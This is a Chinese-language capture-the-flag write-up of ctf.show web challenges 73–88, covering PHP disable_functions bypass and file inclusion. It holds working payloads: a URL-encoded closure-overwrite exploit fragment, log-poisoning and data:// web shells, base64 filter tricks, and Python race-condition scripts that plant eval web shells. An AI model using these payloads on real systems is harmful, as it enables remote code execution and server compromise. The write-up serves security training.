%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a+%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a+%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a+%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a+%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d
Web73 访问显示
1 2 3 4 5 6 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗?
1 2 3 4 5 6 c=var_export(scandir('glob:///*'));exit(); array ( 0 => 'bin', 1 => 'dev', 2 => 'etc', 3 => 'flagc.txt', 4 => 'home', 5 => 'lib', 6 => 'media', 7 => 'mnt', 8 => 'opt', 9 => 'proc', 10 => 'root', 11 => 'run', 12 => 'sbin', 13 => 'srv', 14 => 'sys', 15 => 'tmp', 16 => 'usr', 17 => 'var', ) 发现 flag在flagc.txt flagc.txt在根目录
payload:
1 2 3 4 c=include('/flagc.txt');ob_flush(); c=include('/flagc.txt');ob_end_flush(); c=include('/flagc.txt');exit(); c=include('/flagc.txt');die();
Web74 访问显示
1 2 3 4 5 6 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗?
采用 glob 协议读取:
1 2 3 4 5 6 7 c=var_export(scandir('glob:///*'));exit(); 发现scandir()被禁用 Warning: scandir()scandir() has been disabled for security reasons in /var/www/html/index.php(19) : eval()'d code on line 1 NULL 换一种方法 c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(); 发现flag在'flagx.txt'
payload:
1 2 3 4 c=include('/flagx.txt');ob_flush(); c=include('/flagx.txt');ob_end_flush(); c=include('/flagx.txt');exit(); c=include('/flagx.txt');die();
Web75 1 2 3 4 5 6 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗?
1 2 3 4 5 6 7 c=var_export(scandir('glob:///*'));exit(); 发现scandir()被禁用 Warning: scandir()scandir() has been disabled for security reasons in /var/www/html/index.php(19) : eval()'d code on line 1 NULL 换一种方法 c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(); 发现flag在'flag36.txt'
使用之前payload
1 2 3 4 5 6 7 8 9 10 11 12 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: include(): open_basedir restriction in effect. File(/flag36.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1 Warning: include(/flag36.txt): failed to open stream: Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1 Warning: include(): Failed opening '/flag36.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1 Notice: ob_end_clean(): failed to delete buffer. No buffer to delete in /var/www/html/index.php on line 21 你要上天吗?
本题还通过include_path
限制了文件包含的路径,无法直接使用include
包含得到flag信息
利用 mysql load_file 读文件 ,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。
可以查一下有哪些数据库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 c= $dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root' , 'root' ); $rs = $db- > query("select group_concat(SCHEMA_NAME) from SCHEMATA"); foreach($rs as $row ){ echo($row [0 ])."|"; }exit(); 解释 / / 数据源名称(DSN),指定数据库类型、主机名和数据库名称$dsn = "mysql:host=localhost;dbname=information_schema"; / / 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)$db = new PDO($dsn, 'root' , 'root' ); / / 执行一个SQL 查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集$rs = $db- > query("select group_concat(SCHEMA_NAME) from SCHEMATA"); / / 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(| )foreach($rs as $row ){ echo($row [0 ])."|"; } / / 终止脚本执行exit();
存在information_schema,test,ctftraining,mysql,performance_schema|
存在一个名为 ctftraining 的数据库,查ctftraining 数据库下的所有表:
1 2 3 4 5 6 c= $dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root' , 'root' ); $rs = $db- > query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA 'ctftraining'"); foreach($rs as $row ){ echo($row [0 ])."|"; }exit();
发现存在FLAG_TABLE,news,users|表名
存在一个名为 FLAG_TABLE 的表,读FLAG_TABLE
1 2 3 4 5 6 c= $dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root' , 'root' ); $rs = $db- > query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'"); foreach($rs as $row ){ echo($row [0 ])."|"; }exit();
得到列名为 FLAG_COLUMN,查询具体字段信息:
1 2 3 4 5 6 c=$dsn = "mysql:host=localhost;dbname=ctftraining"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE"); foreach($rs as $row){ echo($row[0])."|"; }exit();
但是发现读取失败,输出为空
我们知道了 flag 的路径,所有直接使用 load_file() 函数进行文件读取就行了。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 c= try { $dbh = new PDO('mysql:host=localhost;dbname=information_schema' , 'root' , 'root' ); foreach($dbh- > query('select load_file("/flag36.txt")' ) as $row ) { echo($row [0 ])."|"; } $dbh = null ; } catch (PDOException $e) { echo $e- > getMessage(); die(); };exit(); 解释 try { / / 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root) $dbh = new PDO('mysql:host=localhost;dbname=information_schema' , 'root' , 'root' ); / / 执行一个SQL 查询,从指定的文件(/ flag36.txt)中读取内容 foreach($dbh- > query('select load_file("/flag36.txt")' ) as $row ) { / / 输出读取到的内容,并追加一个竖线(| ) echo($row [0 ])."|"; } / / 将数据库连接对象设置为null ,关闭连接 $dbh = null ; } catch (PDOException $e) { / / 如果发生PDO异常,输出错误信息 echo $e- > getMessage(); / / 终止脚本执行 die(); } / / 终止脚本执行exit();
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 ‘mysql:host=localhost;dbname=information_schema’。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。
参考链接 :
https://blog.csdn.net/Myon5/article/details/140099168
Web76 1 2 3 4 5 6 c=var_export(scandir('glob:///*'));exit(); c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(); 发现array ( 0 => 'bin', 1 => 'dev', 2 => 'etc', 3 => 'flag36d.txt', 4 => 'home', 5 => 'lib', 6 => 'media', 7 => 'mnt', 8 => 'opt', 9 => 'proc', 10 => 'root', 11 => 'run', 12 => 'sbin', 13 => 'srv', 14 => 'sys', 15 => 'tmp', 16 => 'usr', 17 => 'var', ) flag在flag36d.txt flag36d.txt在根目录
使用上题目脚本
1 2 3 4 5 6 7 8 9 10 c=try { $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root'); foreach($dbh->query('select load_file("/flag36d.txt")') as $row) { echo($row[0])."|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); die(); };exit();
Web77 1 2 3 4 c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(); 发现flag36x.txt在根目录 以及readflag
Hint
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
1 2 3 $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显的 $ffi->system($a);//通过$ffi去调用system函数
FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;
之后执行 /readflag 程序并将其输出重定向到文件 1.txt;
通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。
我们先来试一下,payload:
1 c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
得到< /> <>: _() <>////. <>< /> < /> <>: _() <>////. <>< /> 你要上天吗?
然后访问1.txt得到flag
文件包含 Web78 1 2 3 4 5 6 7 8 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); }
简单的文件包含
1 ?file=php://filter/read=convert.base64-encode/resource=flag.php
Web79 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
会将php替换为???
使用data://text/plain;base64,命令
绕过
payload:
1 /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web80 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
php,data均会被替代
包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 方法一: ?file=/var/log/nginx/access.log&1=system("tac fl0g.php"); 增加User-Agent添加内容<?php @eval($_GET[1]);?> 方法二: 改get头为post最后增加<?php system('ls *.php');?> 然后相同操作增加<?php system('tac fl0g.php');?> POST /?file=Php://input HTTP/1.1 Host: 093b399c-fdae-44bc-a896-d6de3b258f2f.challenge.ctf.show Content-Length: 0 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Origin: https://093b399c-fdae-44bc-a896-d6de3b258f2f.challenge.ctf.show Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://093b399c-fdae-44bc-a896-d6de3b258f2f.challenge.ctf.show/?file=Php://input Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Priority: u=0, i Connection: keep-alive <?php system('ls *.php');?>
Web81 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
php,data,:均会被替代
1 2 3 4 5 6 7 方法一: ?file=/var/log/nginx/access.log&1=system("tac fl0g.php"); 增加User-Agent添加内容<?php @eval($_GET[1]);?> 方法二 ?file=/var/log/nginx/access.log 修改UA头,UA加入<?php @eval($_POST[123]);?>,用蚁剑连接
Web82 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
php,data,:,.均会被替代
通过 SESSION 条件竞争 写入 SHELL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from requests import get, postfrom io import BytesIOfrom threading import Threadfrom urllib.parse import urljoinURL = 'https://03042687-bc97-470d-bfa0-749ee316f124.challenge.ctf.show/' PHPSESSID = 'shell' def write (): code = "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_GET[1]);?>');?>" data = {'PHP_SESSION_UPLOAD_PROGRESS' : code} cookies = {'PHPSESSID' : PHPSESSID} files = {'file' : ('xxx.txt' , BytesIO(b'x' * 10240 ))} while True : post(URL, data, cookies=cookies, files=files) def read (): params = {'file' : f'/tmp/sess_{PHPSESSID} ' } while True : get(URL, params) url = urljoin(URL, 'shell.php' ) code = get(url).status_code.real print (f'{url} {code} ' ) if code == 200 : exit() if __name__ == '__main__' : Thread(target=write, daemon=True ).start() read()
参考链接
条件竞争:https://www.freebuf.com/articles/web/275557.html
session利用的小思路:https://xz.aliyun.com/t/10662
Web83 类似82
Web84 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 来源于网上的强大脚本 import requestsimport ioimport threadingURL = 'http://06771f71-ba74-4771-8a35-290ab8e580c5.challenge.ctf.show/' SESSION_ID = 'ctfshow' WEB_SHELL = '/var/www/html/jiuzhen.php' PHP_PAYLOAD = "<?php @eval($_POST[1]);?>" upload_data = { "1" : f"file_put_contents('{WEB_SHELL} ','{PHP_PAYLOAD} ');" } def upload_file (session ): """持续上传大文件以维持会话文件""" file_bytes = io.BytesIO(b'a' * 1024 * 50 ) while True : try : session.post( url=URL, data={'PHP_SESSION_UPLOAD_PROGRESS' : 'CTFshow' }, cookies={'PHPSESSID' : SESSION_ID}, files={'file' : ('ctfshow.jpg' , file_bytes)}, timeout=5 ) file_bytes.seek(0 ) except Exception as e: print (f"Upload error: {str (e)} " ) def check_file (session ): """检查文件是否写入成功""" while True : try : session.post( url=f"{URL} ?file=/tmp/sess_{SESSION_ID} " , data=upload_data, cookies={'PHPSESSID' : SESSION_ID}, timeout=5 ) response = session.get(f"{URL} jiuzhen.php" ) if response.status_code == 200 : print ("[+] Exploit successful!" ) return else : print (f"[-] Checking... {response.status_code} " ) except Exception as e: print (f"Check error: {str (e)} " ) if __name__ == '__main__' : with requests.Session() as session: upload_threads = [ threading.Thread(target=upload_file, args=(session,)) for _ in range (5 ) ] check_threads = [ threading.Thread(target=check_file, args=(session,)) for _ in range (5 ) ] for t in upload_threads + check_threads: t.daemon = True t.start() for t in check_threads: t.join()
Web85 类似84
Web86 类似84
Web87 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $content = $_POST ['content' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); file_put_contents (urldecode ($file ), "<?php die('大佬别秀了');?>" .$content ); }else { highlight_file (__FILE__ ); }
需要get一个’file’,post一个’content’
过滤php data : .
urldecode($file),存在一次url解码,所有payload需要编码一次
base64可以绕过die函数。因为base64编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略掉。
base64过滤之后就只有(phpdie)6个字符了,base64要求把每三个8Bit的字节转换为四个6Bit的字节,所以这里也要凑够四个字节的倍数,避免base64解码出问题,这里加上两个字符即可。
/?file=php://filter/write=convert.base64-decode/resource=1.php进行url(all characters)两次编码后:
1 ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
对 一句话木马进行 base64 编码:
注意我们还需要加两个合法字符让前面 base64 解码成功,这里多传入两个1或者a。
1 content=11PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==
调用 shell.php
1 2 3 4 /shell.php?cmd=system('ls'); getflag /shell.php?cmd= system('tac fl0g.php');
类似还可以通过 rot13 编码实现绕过,通过 strip_tags 函数去除 XML 标签
参考链接:
https://blog.csdn.net/Myon5/article/details/140224831
Web88 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); }
1 2 /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAiKTs/Pg 看到flag在fl0g.php
payload:
1 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmwwZy5waHAiKTs/Pg